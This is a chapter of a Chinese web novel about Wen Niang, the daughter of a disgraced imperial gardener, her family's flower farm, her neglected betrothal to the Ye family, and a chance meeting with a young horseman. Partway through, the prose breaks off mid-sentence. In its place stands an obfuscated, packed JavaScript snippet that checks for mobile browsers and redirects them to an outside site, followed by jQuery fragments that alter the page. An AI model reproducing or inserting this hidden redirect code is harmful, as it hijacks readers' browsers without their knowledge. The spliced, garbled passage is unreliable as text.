默认冷灰
24号文字
方正启体

1. 斗百花

作者:浅浅浅可本书字数:K更新时间:
    天辰十年,孟春,薄雨收寒,泥香暗渡。


    凡京中稍有雅趣的宅邸,此时皆要移盆栽卉,清供案头,谓之迎春淑景。


    城郊的温家花田可就忙翻了天。


    大清早,温酿一壁吭哧吭哧地把牡丹花筐搬上板车,一壁同她娘孙臻嘀咕,“咱这钱挣得也太辛苦了,花儿是咱种的,累是咱受的,大头的利润全让城里那些花铺掌柜揣兜里了。”


    她甩了甩发酸的胳膊,“娘,咱自个儿去城里开个铺子多好!”


    “你当城里铺子是那么好开的?”孙臻理着车上筐筐篓篓的娇红嫩白,“租金贵得吓人不说,没点门路人情,谁认你呀?”


    “爹以前不是当过官嘛,总该认识几个人吧?”


    说起她爹温青槐,那也算是有点故事。


    先帝在位时,最是欣赏他给树木修修剪剪的手艺,经他修剪蟠扎的松柏,能活脱脱显出龙的形神,腾挪矫健,看着就喜庆吉利。


    凭这手绝活,温青槐一路做到了林衡署监正,专司宫苑林木花草。


    岂料十年前先帝驾崩,新皇践祚,乾坤气象倏然一变,如今这位尊上性尚刚直,对于花草树木,最见不得曲折花巧。


    说是有一日,皇上正为边关战事心烦,一抬头看到那些蟠龙松,更是大怒,“朕批阅奏章已然头昏,还要看这些龇牙咧嘴的歪斜东西,是在笑话朕么?”


    得,天恩就此断了,官位也就这么丢了。


    京城米贵,居大不易,温青槐不当官后,城里的房子是租不起了,一家人只能回到乡下老宅,好在他也算是拿得起放得下的人,没半分清高怨怼,老老实实在地里当个花匠。


    孙臻擦了下额间汗,“官场上的那些人,最会看风向,皇上都不用你爹了,他们自然更不会来往,你爹能寻路子供货给花铺已是做得不错。”


    她侧首,见温酿身子单薄,面色姣好,正是豆蔻年纪,在这里搬花,于心不忍,走过去同她一起搬,“说起来倒是还有一户可以联络。”


    正是叶家。


    当年先帝在位,温青槐圣眷正浓时,家中小女温酿虽尚在稚龄,门槛已是被有意结亲的人家踏破。


    温青槐挑来选去,最终与时任宫殿监丞的叶嵩定了娃娃亲。


    倒不为别的,只因他私下见过几家孩童,唯独叶家小子,生得眉目清朗,年纪虽小却已显沉稳,瞧着勉强配得上自家玉雪可爱的小女儿。


    谁知世事如棋,一朝天子一朝臣。


    新帝登基后,叶嵩那套严谨工整的作风正对了上意,自此官运亨通,如今已升任工部侍郎。


    其长子叶星忱,便是与温酿定亲的那一位,去岁更是金榜题名,高中二甲进士,正是春风得意马蹄疾的时候。


    这桩婚事,如今看来,已是云泥之别。


    温酿哪会不知道母亲说的是哪一家。


    她放下攀膊,“娘,从咱们搬回乡下,七八年了,叶家连年节都没登门问过一声,依我看,下回他们若真有人来,多半不是叙旧,是来退亲的。”


    “呸呸,胡咧咧,”孙臻忙啐了几口,“定亲玉佩还好好收在匣子里呢,岂是儿戏?”


    而且……


    她的目光落在女儿身上。


    温酿正弯腰拂鞋尖草叶,虽荆钗布裙,不施粉黛,但眉眼舒展如画,身段窈窕,在孙臻看来,比城里那些娇养的小姐更耐看,这十里八乡也是出了名的美人,没一家姑娘能抵过。


    家世是跌落了,可若那叶家大郎真能亲眼见见如今的温酿,这婚事,应当还有几分指望。


    孙臻心底还压着一层更重的心思,目光不由飘向屋里。


    小儿子温季正在逗窗边的雀儿,这孩子是新帝登基那年出生的,可谓生不逢时,刚落地温家就败了。


    如今到了开蒙进学的年纪,可乡野哪有好先生?她指望着温酿嫁入叶家后,将弟弟接进城中,谋个正经书院读书的前程。


    这私心,孙臻断不敢当下就对女儿明言。


    只是劝道,“叶家大郎已中了进士,算是入了仕途,你也十七了,我估摸着,叶家今年无论如何也该有个说法。”


    “靠天靠地靠姻亲,还不如靠自己开个花铺来得靠谱。”


    “快歇了这糊涂心思!”孙臻跟着温酿进了小院,“嫁进叶家,那是官宦正妻,将来的荣华体面,是咱们起早贪黑开铺子能比的吗?那叶星忱前途大好,将来若真能入阁拜相,你就是诰命夫人,开铺子能开出个诰命来?”


    温酿尚还年轻,这些年又一直生活在乡野,对名利没有实感,不想多话,只冲茅房喊了一声,“爹,板车都装好了,你怎么还没出来?”


    她爹还算勤快人,但往厕房跑得也勤,尤其是每次要出门,非得往里头钻一趟才安心。温酿也搞不懂,男人的肠子怎么就这么会挑时候。


    “来了来了。”


    温青槐从茅房里钻出来,洗了手,把家里的老骡套上车,又拍了拍车辕,试试稳不稳当。


    小儿子温季听见动静,从屋里飞奔出来,依偎到他身边,“爹爹!带我进城去吧,我想看糖画,想吃糖葫芦!”


    “那我也要去!”


    温酿也走到车边,刚要抬腿坐上去,却被孙臻轻轻拽了下来,“你个姑娘家,总跟着你爹进城抛头露面,像什么样子?让街坊瞧见,更不好说亲了。”


    温酿忿忿,“怎么搬花捆枝的时候,没人记得我是个姑娘家?”


    温青槐在旁劝,“阿酿乖,这次车实在满了,弟弟小,让他跟着去看看世面,爹给你带城南老铺的梨花糕回来,比糖葫芦好吃。”


    在没有弟弟前,温酿的娇气是天真烂漫,有了弟弟之后,同样的情绪就成了不懂事。


    长女不再是身份,而是一种处境,意味着活要先干,累要先受,好处要后让。


    温酿看着那载着父亲和弟弟的板车在田埂道上,越来越小,缩成一个黑点,晃进了她的心里,晃得憋闷感在胸口鼓胀起来,顶得发慌,她深吸了气,从喉间溢出一个不小的响嗝。


    “阿酿,姑娘家不能吃这么饱”,孙臻在饭桌上拧眉,“吃东西要秀气,细嚼慢咽,哪能在人前打嗝?日后若在婆家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341059|199326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,可是要被说道的。”


    温酿将手中的梨花糕渣抖进了油包纸里,“吃饱了才有气力干活。”


    昨晚父亲从城里回来时,糕点就只剩一半了,她当时瞪了瞪满嘴碎屑的温季,温酿自己没舍得吃,留作了今晨的早饭,眼下还剩一小块,她也吃得差不多,将纸角收拢,要拿去喂给小野猫。


    温酿单手提着油包纸,往屋外走,又想起一桩事,踅进屋来,朝着孙臻伸手,“娘,昨天的工钱。”


    她也不是白干活。


    温酿在村里听人说过,农忙短工一天约有一百文左右,温酿公平,自认只做了半日活计,要个二十文,是极其公道的。


    当初她揽下这活时,便同父亲温青槐说定了的。


    外头雇人来,除开工钱,还得管两顿饭,备些浊酒,开销更大,哪像她,自家萝卜咸菜便能对付,怎么看,都是雇她更划算。


    “财迷。”孙臻不情不愿从旧钱匣子里,数出二十个铜板递给她,“跟家爹娘,还要这般斤斤计较。”


    温酿指尖一拢,收进自己的荷包里,唇角弯弯,“娘要多给我,我绝不与娘计较。”


    “等你出阁多给你。”


    又绕回这茬上了,真是三句不离婆家,温酿的耳朵起茧,赶忙逃出屋去。


    从厅堂又追出话来,“是不是又去村尾喂猫?把灶房那把新的修花剪给你爹,他又拿旧的去地里了,那把都钝成什么样了……”


    温酿撇撇嘴,娘这般支使她,无非是晓得她去了地里绝不会只递把剪子,拔草、扶苗、递水,哪样能闲着?


    她回房换了身能下地的破烂衣裙,“娘,配送工费三文钱,干活十五文,回来一并结!”


    “嚯,掉进钱眼里了!”


    温酿装听不见,揣好剪子,出了院门。


    小猫比阿弟识趣,不会同她抢吃食,不会挤占她板车上的位置,也不会分走爹娘的疼惜。


    阿娘那般着急将她嫁出去,说到底是怕她年岁渐长惹人闲话,怕她成了家中的拖累,害怕,本身就把她当做了麻烦。


    温酿垂着眼睫,看小猫用毛茸茸的脑袋蹭她的手指,发出满足的噜噜声,她也不由地笑笑。


    “阿嬷。”


    身后忽然传来清越男声,伴着哒哒马蹄,温酿没理会,只当是有人在背后说话。


    “阿嬷。”


    似有人下马,那声音又近了些,随即,她的肩头被轻轻拍动。


    那声阿嬷,是在叫她?


    温酿细眉微挑,将手中的碎屑吹走,正要转身。


    “阿嬷,地上的东西莫要捡来吃了,”男子声嗓温醇,“我予你些钱,向你打听个地方。”


    谁捡地上的东西吃?


    况且,谁是阿嬷!


    温酿腾地立起,气鼓鼓猛然转身。


    春日薄光晃了她一瞬的眼。


    牵着匹青骢马的少年郎,就站在她对面,一身朱砂红长袍,内里白衣为衬,在这苍蒙的日头里,让温酿想到了冬日艳在雪中的棠梨,张扬得不管不顾,烈烈地烧进了温酿的眼底。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)